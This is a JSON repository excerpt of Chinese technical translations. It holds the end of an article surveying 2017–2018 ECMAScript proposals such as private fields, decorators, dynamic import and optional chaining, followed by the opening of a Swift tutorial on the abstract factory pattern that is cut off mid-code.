优化\n\n[这个提案](https://github.com/tc39/proposal-private-methods) 建议向 [ECMAScript 2015 中引进的 class 语法] (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes) 中加入公共字段、私有字段与私有方法。该提案是经过多个竞争提案漫长讨论和竞争后的结果。\n\n使用私有字段和方法与对应的公共字段和方法类似，但是私有字段名方法名前会有一个 # 号。任何被标记为私有的方法和字段都不会在类之外可见，从而确保内部类成员的强封装。\n\n下面是一个类 React 组件的假设示例，组件在私有方法中使用了公共和私有字段：\n\n```javascript\nclass Counter {\n  // 公共字段\n  text = ‘Counter’;\n\n  // 私有字段\n  #state = {\n    count: 0,\n  };\n\n  // 私有方法\n  #handleClick() {\n    this.#state.count++;\n  }\n\n  // 公共方法\n  render() {\n    return (\n      <button onClick={this.handleClick.bind(this)}>\n        {this.text}: {this.#state.count.toString()}\n      </button>\n    );\n  }\n}\n```\n\n使用了私有字段与私有方法的类 React 组件。\n\nBabel 目前还没有提供私有类字段与方法的 polyfill，[但是不久就会实现](https://github.com/babel/proposals/issues/12)。公共字段已有 Babel 的[transform-class-properties](https://babeljs.io/docs/plugins/transform-class-properties/) 插件支持，但它依赖于一个已被合并入统一公共/私有字段提案的老提案。此提案于 [2017 年 9 月 1 日](https://tc39.github.io/proposal-class-fields/) 进入 stage 3，因此使用任何可用的 polyfill 都是安全的。\n\n### Class 装饰器\n\n提案在被引入后也可能发生翻天覆地的变化，装饰器就是一个很好的例子。Babel 的第五代版本实现了[原本 stage 2 阶段装饰器的规范](https://github.com/wycats/javascript-decorators)，其将装饰器定义为接收 target，name 与属性描述的函数。现在最流行的转译装饰器方式是通过 Babel 的[transform-legacy-decorators](https://github.com/loganfsmyth/babel-plugin-transform-decorators-legacy) 插件，其实现的是旧版的规范。\n\n[新的提案](https://tc39.github.io/proposal-decorators/) 大不相同。不再作为具有三个属性的函数，现在我们对改变描述符的类成员 —— 装饰器进行了正式描述。新的“成员描述符”与ES5中引入的属性描述符接口非常相似。\n\n现在有两种具有不同 API 的不同类型的装饰器：成员装饰器与类装饰器。\n\n*   成员装饰器接收成员描述符并返回成员描述符。\n*   类装饰器接受每个类成员(即每个属性或方法)的构造函数、父类和成员描述符数组。\n\n在规范中，“额外”是指可由装饰器添加的成员描述符的可选数组。这将允许装饰器动态创建新的属性与方法。比如，你可以让装饰器给属性创建 getter 与 setter 函数。\n\n与旧规范类似，新规范允许修改类成员的描述符。此外，仍然允许在对象字面量的属性上使用装饰器。\n\n在最终确定之前，规范很可能会发生重大变化。语法中有一些模棱两可之处，旧规范的许多痛点还没有得到解决。装饰器是语言的一个大型语法扩展，因此可以预料到这种延迟。遗憾的是，如果新的提案被采纳，你将不得不完全重构你的装饰器函数，以适用于新的接口。\n\n许多库作者选择继续支持旧的提案和 Babel 的 legacy-decorators 插件，即使新的提案已经处于 stage 2，旧的仍然处于 stage 0。[core-decorators](https://github.com/jayphelps/core-decorators) 作为最受欢迎的使用装饰器的 JavaScript 开源库，就采用了这种方法。未来几年中，库的作者们很有可能会继续支持旧的提案。\n\n也有可能这一新提案会被撤回，取而代之的是另一新提案，装饰器提案有可能不会在 2018 年并入 JavaScript。你可以在 Babel 完成[新的转译插件](https://github.com/babel/proposals/issues/11) 后使用新的装饰器提案。\n\n### import 函数\n\nECMAScript 第六版中添加了 [import 语句](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import)，并最终确定了新的模块系统的语义。就在近期，[主流浏览器发布更新以提供对其的支持](https://jakearchibald.com/2017/es-modules-in-browsers/)，尽管它们对于规范的实现略有不同。NodeJS 在 8.5.0 版本中对于仍带有实验标志的 ECMAScript 的模块规范提供了初步支持。\n\n但是，该提案缺少一种异步导入模块的方法，这使得难以在运行时动态导入模块。现在，在浏览器中动态加载模块的唯一方法，就是动态插入类型为 “module” 的 script 标签，将 import 声明作为其文本内容。\n\n实现异步导入模块的一种内置方法是提案 [动态 import 语法](https://github.com/tc39/proposal-dynamic-import)，它会调用一个“类函数”的导入模块加载表单。这种动态导入语法可以在模块代码与普通脚本代码中使用，从而为模块代码提供了一个方便的切入点。\n\n去年有一个提案提出 System.import() 函数来解决这个问题，但是该提案没有被采纳进入最终的规范。新提案目前处于 stage 3，有望在年底前被列入规范中。\n\n### Observables\n\n[提议的可观察类型 Observable type](https://github.com/tc39/proposal-observable) 提供了一种处理异步数据流的标准化方法。它们已经以某种形式在许多流行的 JavaScript 框架如 RxJS 中实现。目前的提案很大程度上借鉴了这些框架的思路。\n\nObservable 对象由 Observable 构造器创建，接收订阅函数作为参数：\n\n```javascript\nfunction listen(element, eventName) {\n return new Observable(observer => {\n   // 创建一个事件处理函数，可以将数据输出\n   let handler = event => observer.next(event);\n\n   // 绑定事件处理函数\n   element.addEventListener(eventName, handler, true);\n\n   // 返回一个函数，调用它即去掉订阅\n   return () => {\n     // 解除元素的事件监听\n     element.removeEventListener(eventName, handler, true);\n   };\n });\n}\n```\n\nObservable 构造器的使用。\n\n使用订阅函数去订阅一个 observable 对象：\n\n```javascript\nconst subscription = listen(inputElement, “keydown”).subscribe({\n  next(val) { console.log(\"Got key: \" + val) },\n  error(err) { console.log(\"Got an error: \" + err) },\n  complete() { console.log(\"Stream complete!\") },\n});\n```\n\n使用 observable 对象。\n\nsubscribe() 函数返回了一个订阅对象。这个对象具有取消订阅的方法。\n\nObservable 不应混淆于 [已废弃的 Object.observe](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/observe) 函数，Object.observe 是可以观察对象变化的一种方法。其已被 ECMAScript 2015 中更通用的实现 [Proxy](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/observe) 所替代。\n\nObservable 目前处于 stage 1，但它已被 TC39 委员会标记为 “ready to advance” 并获得了浏览器厂商的大力支持，因此有望很快推进到下一阶段。现在你就已经可以开始使用这一提案的特性了，有[三种 polyfill 实现](https://github.com/tc39/proposal-observable#implementations) 可供选择。\n\n### do 表达式\n\nCoffeeScript 曾因以[一切皆为表达式](http://coffeescript.org/#expressions) 而名声大噪，尽管它的流行程度已经衰减，但是它对 JavaScript 近期的发展产生了重大影响。\n\ndo 表达式提出了一种将多个语句包装在一个表达式中的新语法。可以以如下方式编写代码：\n\n```javascript\nlet activeToDos = do {\n  let result;\n  try {\n    result = fetch('/todos');\n  } catch (error) {\n    result = []\n  }\n  result.filter(item => item.active);\n}\n```\n\ndo 表达式示例。\n\ndo 表达式的最后一个语句将作为完成值，被隐式地返回。\n\ndo 表达式在 [JSX](https://reactjs.org/docs/jsx-in-depth.html) 中非常有用。与复杂的三元表达式不同，do 表达式可以使得 JSX 中的流程控制更可读。\n\n```javascript\nconst FooComponent = ({ kind }) => (\n <div>\n   {do {\n     if (kind === 'bar') { <BarComponent /> }\n     else if (kind === 'baz') { <BazComponent /> }\n     else { <OtherComponent /> }\n   }}\n </div>\n)\n```\n\nJSX 的未来？\n\nBabel 已有[插件](https://babeljs.io/docs/plugins/transform-do-expressions/) 可转译 do 表达式。此提案目前处于 stage 1，关于如何与 generator 和 async 函数一起使用，还存在一些重要的开放问题，因此规范可能会发生重大变化。\n\n### 可空（Optional）属性的链式调用 Optional Chaining\n\n受 CoffeeScript 启发而来的又一个提案是 [optional chaining](https://github.com/tc39/proposal-optional-chaining)，它带来了一种访问对象属性的简单方法，面对值有可能为 undefined 和 null 的对象属性无需使用冗长的三元运算符了。它与 CoffeeScript 的[存在操作符](http://coffeescript.org/#existential-operator)类似，但是缺少一些值得注意的特性，比如范围检查和可选赋值。\n\n示例：\n\n```javascript\na?.b // 如果 `a` 是 null/undefined 则返回  undefined，否则则返回 `a.b` 的值\na == null ? undefined : a.b // 使用三元表达式\n```\n\n提案目前处于 stage 1，已有名为 [babel-plugin-transform-optional-chaining](https://www.npmjs.com/package/babel-plugin-transform-optional-chaining) 的 Babel 插件实现。TC39 委员会在[2017 年 10 月的最后一次会议](https://github.com/tc39/tc39-notes/blob/master/es8/2017-09/sep-28.md#13iii-nullary-coalescing-operator) 中对它的语法表示担忧，但是其仍有可能被采纳。\n\n### 全局对象标准化\n\n编写能在每个环境中运行的 JavaScript 代码并不容易。在浏览器中，全局对象是 window —— 除非处于 [web worker](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API) 中，此时全局对象是它本身。在 NodeJS 中则为 global，但是这是在 V8 引擎之上添加的东西，并不是规范的一部分，所以直接在 V8 引擎中运行代码时，global 对象不可用。\n\n[待标准化提案](https://github.com/tc39/proposal-global) 提出了可以在所有引擎和运行环境中使用的全局对象。提案目前处于 stage 3，因此不久便会被采纳。\n\n### 以及更多\n\nTC39 委员会正在审议五十多项活跃提案，其中还未包括二十多个处于 stage 0 尚未推进的提案。\n\n你可以在 TC39 的 [GitHub 页面](https://github.com/tc39/proposals) 查看活跃提案列表。可以在 [stage 0 提案](https://github.com/tc39/proposals/blob/master/stage-0-proposals.md)模块找到一些更粗略的想法，包括了像[方法参数装饰器](https://docs.google.com/document/d/1Qpkqf_8NzAwfD8LdnqPjXAQ2wwh8BBUGynhn-ZlCWT0/edit)和新的[模式匹配语法](https://github.com/tc39/proposal-pattern-matching)。\n\n也可以在[会议记录](https://github.com/tc39/tc39-notes) 和[议程](https://github.com/tc39/agendas) 仓库了解委员会的优先事项和目前正在处理的问题。演讲资料也陈列在会议记录中，如果你对演讲有兴趣，也可以进行查阅。\n\n在最近的几次 ECMAScript 修订中有几个重要的语法修改提案，这似乎也是一种趋势。ECMAScript 正在加快变革脚步，每年都有越来越多的提案，2018 版本似乎会比 2017 版本采纳更多的提案。\n\n今年，在语言中添加改善“生活质量”的提案规模较小，如[内置对象的类型检查](https://github.com/jasnell/proposal-istypes)和给 Math 模块添加[度数与弧度助手](https://github.com/rwaldron/proposal-math-extensions)提案。这类提案将添加到标准库中，而非修改语法。它们容易进行 polyfill，有助于减少第三方库的使用。由于无需改变语法，所以很快就可以使用，在提案阶段花费的时间也较少。\n\n新的语法固然优秀，但我更希望未来可以见到更多这种类型的提案。JavaScript 经常被人诟病缺少优秀的标准库，但很明显大家正在努力去改变。\n\n* * *\n\n### 插语： LogRocket，Web 应用的 DVR\n\n![](https://cdn-images-1.medium.com/max/1000/1*s_rMyo6NbrAsP-XtvBaXFg.png)\n\n[LogRocket](https://logrocket.com) 是一个前端日志记录工具，它可以让你像在自己的浏览器中一样重播问题。无需再猜测错误发生的原因或是向用户索要截图和日志转存，LogRocket 允许重播会话来快速定位错误源头。无论使用什么框架，LogRocket 可以在任意应用中使用，并拥有从 Redux，Vuex 和 @ngrx/store 中记录上下文的插件。\n\n除了可以将 Redux 的 action 和 state 记入日志，LogRocket 还可以记录控制台日志，JavaScript 报错，调用栈信息，网络请求、响应头和实体信息，浏览器的元信息和自定义日志。它还利用 DOM 在记录页面上的 HTML 和 CSS，即使是最复杂的单页面应用程序，也可以重新绘制像素级完美的视频。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/intermediate-design-patterns-in-swift.md",
    "content": "> * 原文地址：[Intermediate Design Patterns in Swift](https://www.raywenderlich.com/2102-intermediate-design-patterns-in-swift)\n> * 原文作者：[raywenderlich.com](https://www.raywenderlich.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/intermediate-design-patterns-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO1/intermediate-design-patterns-in-swift.md)\n> * 译者：[iWeslie](https://github.com/iWeslie)\n> * 校对者：[swants](https://github.com/swants), [kirinzer](https://github.com/kirinzer)\n\n# iOS 设计模式进阶\n\n设计模式对于代码的维护和提高可读性非常有用，通过本教程你将学习 Swift 中的一些设计模式。\n\n**更新说明**：本教程已由译者针对 iOS 12，Xcode 10 和 Swift 4.2 进行了更新。\n\n**新手教程**：没了解过设计模式？来看看设计模式的 [入门教程](https://github.com/xitu/gold-miner/blob/master/TODO1/design-patterns-on-ios-using-swift-part-1-2.md) 来阅读之前的基础知识吧。\n\n在本教程中，你将学习如何使用 Swift 中的设计模式来重构一个名为 **Tap the Larger Shape** 的游戏。\n\n了解设计模式对于编写可维护且无 bug 的应用程序至关重要，了解何时采用何种设计模式是一项只能通过实践学习的技能。这本教程再好不过了！\n\n但究竟什么是设计模式呢？这是一个针对常见问题的正式文档型解决方案。例如，考虑一下遍历一个集合，你在此处使用 **迭代器** 设计模式：\n\n```swift\nvar collection = ...\n\n// for 循环使用迭代器设计模式\nfor item in collection {\n    print(\"Item is: \\(item)\")\n}\n```\n\n**迭代器** 设计模式的价值在于它抽象出了访问集合中每一项的实际底层机制。无论 `collection` 是数组，字典还是其他类型，你的代码都可以用相同的方式访问它们中的每一项。\n\n不仅如此，设计模式也是开发者文化的一部分，因此维护或扩展代码的另一个开发人员可能会理解迭代器设计模式，它们是用于推理出软件架构的语言。\n\n在 iOS 编程中有很多设计模式频繁出现，例如 **MVC** 出现在几乎每个应用程序中，**代理** 是一个强大的，通常未被充分利用的模式，比如说你曾用过的 tableView，本教程讨论了一些鲜为人知但非常有用的设计模式。\n\n如果你不熟悉设计模式的概念，此篇文章可能不适合现在的你，不妨先看一下 [使用 Swift 的 iOS 设计模式](https://github.com/xitu/gold-miner/blob/master/TODO1/design-patterns-on-ios-using-swift-part-1-2.md) 来开始吧。\n\n## 入门\n\nTap the Larger Shape 是一个有趣但简单的游戏，你会看到一对相似的形状，你需要点击两者中较大的一个。如果你点击较大的形状，你会得到一分，反之你会失去一分。\n\n看起来你好像只喷出了一些随机的方块、圆圈和三角形涂鸦，不过孩子们会买单的！:\\]\n\n下载 [入门项目](https://github.com/iWeslie/SwiftDesignPatterns) 并在 Xcode 中打开。\n\n> **注意**：你需要使用 Xcode 10 和 Swift 4.2 及以上版本从而获得最大的兼容性和稳定性。\n\n此入门项目包含完整游戏，你将在本教程中对改项目进行重构并利用一些设计模式来使你的游戏更易于维护并且更加有趣。\n\n使用 iPhone 8 模拟器，编译并运行项目，随意点击几个图形来了解这个游戏的规则。你会看到如下图所示的内容：\n\n[![Tap the larger shape and gain points.](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot2-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot2.png)\n\n点击较大的图形就能得分。\n\n[![Tap the smaller shape and lose points.](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot3-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot3.png)\n\n点击较小的图形则会扣分。\n\n## 理解这款游戏\n\n在深入了解设计模式的细节之前，先看一下目前编写的游戏。打开 **Shape.swift** 看一看并找到以下代码，你无需进行任何更改，只需要看看就行：\n\n```swift\nimport UIKit\n\nclass Shape {\n\n}\n\nclass SquareShape: Shape {\n\tvar sideLength: CGFloat!\n}\n```\n\n`Shape` 类是游戏中可点击图形的基本模型。具体的一个子类 `SquareShape` 表示一个正方形：一个具有四条等长边的多边形。\n\n接下来打开 **ShapeView.swift** 并查看 `ShapeView` 的代码：\n\n```swift\nimport UIKit\n\nclass ShapeView: UIView {\n\tvar shape: Shape!\n\n\t// 1\n\tvar showFill: Bool = true {\n\t\tdidSet {\n\t\t\tsetNeedsDisplay()\n\t\t}\n\t}\n\tvar fillColor: UIColor = UIColor.orange {\n\t\tdidSet {\n\t\t\tsetNeedsDisplay()\n\t\t}\n\t}\n\n\t// 2\n\tvar showOutline: Bool = true {\n\t\tdidSet {\n\t\t\tsetNeedsDisplay()\n\t\t}\n\t}\n\tvar outlineColor: UIColor = UIColor.gray {\n\t\tdidSet {\n\t\t\tsetNeedsDisplay()\n\t\t}\n\t}\n\n\t// 3\n\tvar tapHandler: ((ShapeView) -> ())?\n\n\toverride init(frame: CGRect) {\n\t\tsuper.init(frame: frame)\n\n\t\t// 4\n\t\tlet tapRecognizer = UITapGestureRecognizer(target: self, action: #selector(handleTap))\n\t\taddGestureRecognizer(tapRecognizer)\n\t}\n\n\trequired init(coder aDecoder: NSCoder) {\n\t\tfatalError(\"init(coder:) has not been implemented\")\n\t}\n\n\t@objc func handleTap() {\n\t\t// 5\n\t\ttapHandler?(self)\n\t}\n\n\tlet halfLineWidth: CGFloat = 3.0\n}\n```\n\n`ShapeView` 是呈现通用 `Shape` 模型的 view。以下是其中代码的逐行解析：\n\n1. 指明应用程序是否使用，并使用哪种颜色来填充图形，这是图形内部的颜色。\n\n2. 指明应用程序是否使用，并使用哪种颜色来给图形描边，这是图形边框的颜色。\n\n3. 一个处理点击事件的闭包（例如更新得分）。如果你不熟悉 Swift 闭包，可以在 [Swift 闭包](https://www.cnswift.org/closures) 中查看它们，但请记住它们与 Objective-C 里的 block 类似。\n\n4. 设置一个 tap gesture recognizer，当玩家点击 view 时调用 `handleTap`。\n\n5. 当检测到点击手势时调用 `tapHandler`。\n\n现在向下滚动并且查看 `SquareShapeView`：\n\n```swift\nclass SquareShapeView: ShapeView {\n\toverride func draw(_ rect: CGRect) {\n\t\tsuper.draw(rect)\n\n        // 1\n\t\tif showFill {\n\t\t\tfillColor.setFill()\n\t\t\tlet fillPath = UIBezierPath(rect: bounds)\n\t\t\tfillPath.fill()\n\t\t}\n\n        // 2\n\t\tif showOutline {\n\t\t\toutlineColor.setStroke()\n\n            // 3\n\t\t\tlet outlinePath = UIBezierPath(rect: CGRect(x: halfLineWidth, y: halfLineWidth, width: bounds.size.width - 2 * halfLineWidth, height: bounds.size.height - 2 * halfLineWidth))\n\t\t\toutlinePath.lineWidth = 2.0 * halfLineWidth\n\t\t\toutlinePath.stroke()\n\t\t}\n\t}\n}\n```\n\n以下是 `SquareShapeView` 如何进行绘制的：\n\n1. 如果配置为显示填充，则使用填充颜色填充 view。\n\n2. 如果配置为显示轮廓，则使用轮廓颜色给 view 描边。\n\n3. 由于 iOS 是以 position 为中心绘制线条的，因此我们在描边路径时需要将从 view 的 bounds 里减去 `halfLineWidth`。\n\n很棒！现在你已经了解了这个游戏里的图形是如绘制的，打开 **GameViewController.swift** 并查看其中的逻辑：\n\n```swift\nimport UIKit\n\nclass GameViewController: UIViewController {\n\n\toverride func viewDidLoad() {\n\t\tsuper.viewDidLoad()\n        // 1\n\t\tbeginNextTurn()\n\t}\n\n\toverride var prefersStatusBarHidden: Bool {\n\t\treturn true\n\t}\n\n\tprivate func beginNextTurn() {\n        // 2\n\t\tlet shape1 = SquareShape()\n\t\tshape1.sideLength = Utils.randomBetweenLower(lower: 0.3, andUpper: 0.8)\n\t\tlet shape2 = SquareShape()\n\t\tshape2.sideLength = Utils.randomBetweenLower(lower: 0.3, andUpper: 0.8)\n\n        // 3\n\t\tlet availSize = gameView.sizeAvailableForShapes()\n\n        // 4\n\t\tlet shapeView1: ShapeView = SquareShapeView(frame: CGRect(x: 0, y: 0, width: availSize.width * shape1.sideLength, height: availSize.height * shape1.sideLength))\n\t\tshapeView1.shape = shape1\n\t\tlet shapeView2: ShapeView = SquareShapeView(frame: CGRect(x: 0, y: 0, width: availSize.width * shape2.sideLength, height: availSize.height * shape2.sideLength))\n\t\tshapeView2.shape = shape2\n\n        // 5\n\t\tlet shapeViews = (shapeView1, shapeView2)\n\n        // 6\n\t\tshapeViews.0.tapHandler = { tappedView in\n\t\t\tself.gameView.score += shape1.sideLength >= shape2.sideLength ? 1 : -1\n\t\t\tself.beginNextTurn()\n\t\t}\n\t\tshapeViews.1.tapHandler = { tappedView in\n\t\t\tself.gameView.score += shape2.sideLength >= shape1.sideLength ? 1 : -1\n\t\t\tself.beginNextTurn()\n\t\t}\n\n        // 7\n\t\tgameView.addShapeViews(newShapeViews: shapeViews)\n\t}\n\n\tprivate var gameView: GameView { return view as! GameView }\n}\n```\n\n以下是游戏逻辑的工作原理：\n\n1. 当 `GameView` 加载后开始新的一局。\n\n2. 在 `[0.3, 0.8]` 区间内取边长绘制正方形，绘制的图形也可以在任何屏幕尺寸下缩放。\n\n3. 由 `GameView` 确定哪种尺寸的图形适合当前屏幕。\n\n4. 为每个形状创建一个 `SquareShapeView`，并通过将图形的 `sideLength` 比例乘以当前屏幕的相应 `availSize` 来调整形状的大小。\n\n5. 将形状存储在元组中以便于操作。\n\n6. 在每个 shape view 上设置点击事件并根据玩家是否点击较大的 view 来计算分数。\n\n7. 将形状添加到 `GameView` 以便布局显示。\n\n以上就是游戏的完整逻辑。是不是很简单？:\\]\n\n## 为什么要使用设计模式？\n\n你可能想问自己：“嗯，所以当我有一个工作游戏时，为什么我需要设计模式呢？”那么如果你想支持除了正方形以外的形状又要怎么办呢？\n\n你 **本可以** 在 `beginNextTurn` 中添加代码来创建第二个形状，但是当你添加第三种、第四种甚至第五种形状时，代码将变得难以管理。\n\n如果你希望玩家能够选择别人的形状又要怎么办呢？\n\n如果你把所有代码放在 `GameViewController` 中，你最终会得到难以管理的包含硬编码依赖的耦合度很高的代码。\n\n以下是你的问题的答案：设计模式有助于将你的代码解耦成分离地很开的单位。\n\n在进行下一步之前，我坦白，我已经偷偷地进入了一个设计模式。\n\n[![ragecomic1](https://koenig-media.raywenderlich.com/uploads/2014/10/ragecomic1-e1415029446968-480x268.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/ragecomic1-e1415029446968.png)\n\n现在，关于设计模式，以下的每个部分都描述了不同的设计模式。我们开始吧！\n\n## 抽象工厂模式\n\n`GameViewController` 与 `SquareShapeView` 紧密耦合，这将不能为以后使用不同的视图来表示正方形或引入第二个形状留出余地。\n\n你的第一个任务是使用 **抽象工厂** 设计模式给你的`GameViewController` 进行简化和解耦。你将要在代码中使用此模式，该代码建立用于构造一组相关对象的API，例如你将暂时使用的 shape view，而无需对特定类进行硬编码。\n\n新建一个 Swift 文件，命名为 **ShapeViewFactory.swift** 并保存，然后添加以下代码：\n\n```swift\nimport UIKit\n\n// 1\nprotocol ShapeViewFactory {\n    // 2\n    var size: CGSize { get set }\n    // 3\n    func makeShapeViewsForShapes(shapes: (Shape, Shape)) -> (ShapeView, ShapeView)\n}\n```\n\n以下是你新的工厂的工作原理：\n\n1. 将 `ShapeViewFactory` 定义为 Swift 协议，它没有理由成为一个类或结构体，因为它只描述了一个接口而本身并没有功能。\n\n2. 每个工厂应当有一个定义了创建形状的边界的尺寸，这对使用工厂生成的 view 布局代码至关重要。\n\n3. 定义生成形状视图的方法。这是工厂的“肉”，它需要两个 Shape 对象的元组，并返回两个 ShapeView 对象的元组。这基本上是从其原材料 — 模型中制造 view。\n\n在 **ShapeViewFactory.swift** 的最后添加以下代码：\n\n```swift\nclass SquareShapeViewFactory: ShapeViewFactory {\n    var size: CGSize\n\n    // 1\n    init(size: CGSize) {\n        self.size = size\n    }\n\n    func makeShapeViewsForShapes(shapes: (Shape, Shape)) -> (ShapeView, ShapeView) {\n        // 2\n        let squareShape1 = shapes.0 as! SquareShape\n        let shapeView1 = SquareShapeView(frame: CGRect(\n            x: 0,\n            y: 0,\n            width: squareShape1.sideLength * size.width,\n            height: squareShape1.sideLength * size.height))\n        shapeView1.shape = squareShape1\n\n        // 3\n        let squareShape2 = shapes.1 as! SquareShape\n        let shapeView2 = SquareShapeView(frame: CGRect(\n            x: 0,\n            y: 0,\n            width: squareShape2.sideLength * size.width,\n            height: squareShape2.sideLength * size.height))\n        shapeView2.shape = squareShape2\n\n        // 4\n        return (shapeView1, shapeView2)\n    }\n}\n```\n\n你的 `SquareShapeViewFactory` 建造了 `SquareShapeView` 实例，如下所示：\n\n1. 使用一致的最大尺寸来初始化工厂。\n\n2. 从第一个传递的形状构造第一个 shape view。\n\n3. 从第二个传递的形状构造第二个 shape view。\n\n4. 返回包含两个刚创建的 shape view 的元组。\n\n最后，是时候使用 `SquareShapeViewFactory` 了。打开 **GameViewController.swift**，并全部替换为以下内容：\n\n```swift\nimport UIKit\n\nclass GameViewController: UIViewController {\n\n\toverride func viewDidLoad() {\n\t\tsuper.viewDidLoad()\n        // 1 ***** 附加\n        shapeViewFactory = SquareShapeViewFactory(size: gameView.sizeAvailableForShapes())\n\n\t\tbeginNextTurn()\n\t}\n\n\toverride var prefersStatusBarHidden: Bool {\n\t\treturn true\n\t}\n\n\tprivate func beginNextTurn() {\n\t\tlet shape1 = SquareShape()\n\t\tshape1.sideLength = Utils.randomBetweenLower(lower: 0.3, andUpper: 0.8)\n\t\tlet shape2 = SquareShape()\n\t\tshape2.sideLength = Utils.randomBetweenLower(lower: 0.3, andUpper: 0.8)\n\n        // 2 ***** 附加\n        let shapeViews = shapeViewFactory.makeShapeViewsForShapes(shapes: (shape1, shape2))\n\n        shapeViews.0.tapHandler = { tappedView in\n            self.gameView.score += shape1.sideLength >= shape2.sideLength ? 1 : -1\n            self.beginNextTurn()\n        }\n        shapeViews.1.tapHandler = { tappedView in\n            self.gameView.score += shape2.sideLength >= shape1.sideLength ? 1 : -1\n            self.beginNextTurn()\n        }\n\n        gameView.addShapeViews(newShapeViews: shapeViews)\n\t}\n\n\tprivate var gameView: GameView { return view as! GameView }\n\n    // 3 ***** 附加\n    private var shapeViewFactory: ShapeViewFactory!\n}\n```\n\n这里有三行新代码：\n\n1. 初始化并存储一个 `SquareShapeViewFactory`。\n\n2. 使用此新工厂创建你的 shape view。\n\n3. 将新的 shape view 工厂存储为实例属性。\n\n主要的好处在于第二部分，其中你用一行替换了六行代码。更好的是，你将复杂的 shape view 的创建代码移出了 `GameViewController` 从而使类更小也更容易理解。\n\n将 view 创建代码移出 controller 是很有帮助的，因为 `GameViewController` 充当 Controller 在 Model 和 View 之间进行协调。\n\n编译并运行，然后你应该看到类似以下内容：\n\n[![Screenshot4](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot4-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2014/10/Screenshot4.png)\n\n你游戏的视觉效果没有任何改变，但你确实简化了代码。\n\n如果你用 `SomeOtherShapeView` 替换 `SquareShapeView`，那么 `SquareShapeViewFactory` 的好处就会大放异彩。具体来说，你不需要更改 `GameViewController`，你可以将所有更改分离到 `SquareShapeViewFactory`。\n\n既然你已经简化了 shape view 的创建，那么你也同时可以简化 shape 的创建。像之前那样创建一个新的 Swift 文件，命名为 **ShapeFactory.swift**，并把以下代码粘贴进去：\n\n```swift\nimport UIKit\n\n// 1\nprotocol ShapeFactory {\n    func createShapes() -> (Shape, Shape)\n}\n\nclass SquareShapeFactory: ShapeFactory {\n    // 2\n    var minProportion: CGFloat\n    var maxProportion: CGFloat\n\n    init(minProportion: CGFloat, maxProportion: CGFloat) {\n        self.minProportion = minProportion\n        self.maxProportion = maxProportion\n    }\n\n    func createShapes() -> (Shape, Shape) {\n        // 3\n        let shape1 = SquareShape()\n        shape1.sideLength = Utils.randomBetweenLower(lower: minProportion, andUpper: maxProportion)\n\n        // 4\n        let shape2 = SquareShape()\n        shape2.sideLength = Utils.randomBetweenLower(lower: minProportion, andUpper: maxProportion)\n\n        // 5\n        return (shape1, shape2)\n    }\n}\n```\n\n你的新 `ShapeFactory` 生产 shape 的具体步骤如下：\n\n1. 再一次地，就像你对 `ShapeViewFactory` 所做的那样，将 `ShapeFactory` 声明为一个协议来获得最大的灵活性。\n\n2. 你希望你的 shape 工厂生成具有单位尺寸的形状，例如，在 `[0, 1]` 的范围内，因此你要存储这个范围。\n\n3. 创建具有随机尺寸的第一个方形。\n\n4. 创建具有随机尺寸的第二个方形。\n\n5. 将这对方形形状作为元组返回。\n\n现在打开 **GameViewController.swift** 并在底部大括号结束之前的插入以下代码：\n\n```swift\nprivate var shapeFactory: ShapeFactory!\n```\n\n然后在 `viewDidLoad` 的底部 `beginNextTurn` 的调用之上插入以下代码：\n\n```swift\nshapeFactory = SquareShapeFactory(minProportion: 0.3, maxProportion: 0.8)\n```\n\n最后把 `beginNextTurn` 替换为以下代码:\n\n```swift\nprivate func beginNextTurn() {\n    // 1\n    let shapes = shapeFactory.createShapes()\n\n    let shapeViews = shapeViewFactory.makeShapeViewsForShapes(shapes: shapes)\n\n    shapeViews.0.tapHandler = { tappedView in\n        // 2\n        let square1 = shapes.0 as! SquareShape, square2 = shapes.1 as! SquareShape\n        // 3\n        self.gameView.score += square1.sideLength >= square2.sideLength ? 1 : -1\n        self.beginNextTurn()\n    }\n    shapeViews.1.tapHandler = { tappedView in\n        let square1 = shapes.0 as! SquareShape, square2 = shapes.1 as! SquareShape\n        self.gameView.score += square2.sideLength >= square1.sideLength ? 1 : -1\n        self.beginNextTurn()\n    }\n\n    gameView.addShapeViews(newShapeViews: shapeViews)\n}\n```\n\n以下是上面代码的解析：\n\n1. 使用新的 shape 工厂创建一个形状元组。\n\n2. 从元组中提取形状。\n\n3. 这样你就可以在这里比较它们了。\n\n再一次使用 **抽象工厂** 设计模式，通过将创建形状的部分移出 `GameViewController` 来简化代码。\n\n## 雇工模式\n\n现在你甚至可以添加第二个形状，例如圆圈。你对正方形的唯一硬性依赖是下面 `beginNextTurn` 中的得分计算：\n\n```swift\nshapeViews.1.tapHandler = { tappedView in\n    // 1\n    let square1 = shapes.0 as! SquareShape, square2 = shapes.1 as! SquareShape\n\n    // 2\n    self.gameView.score += 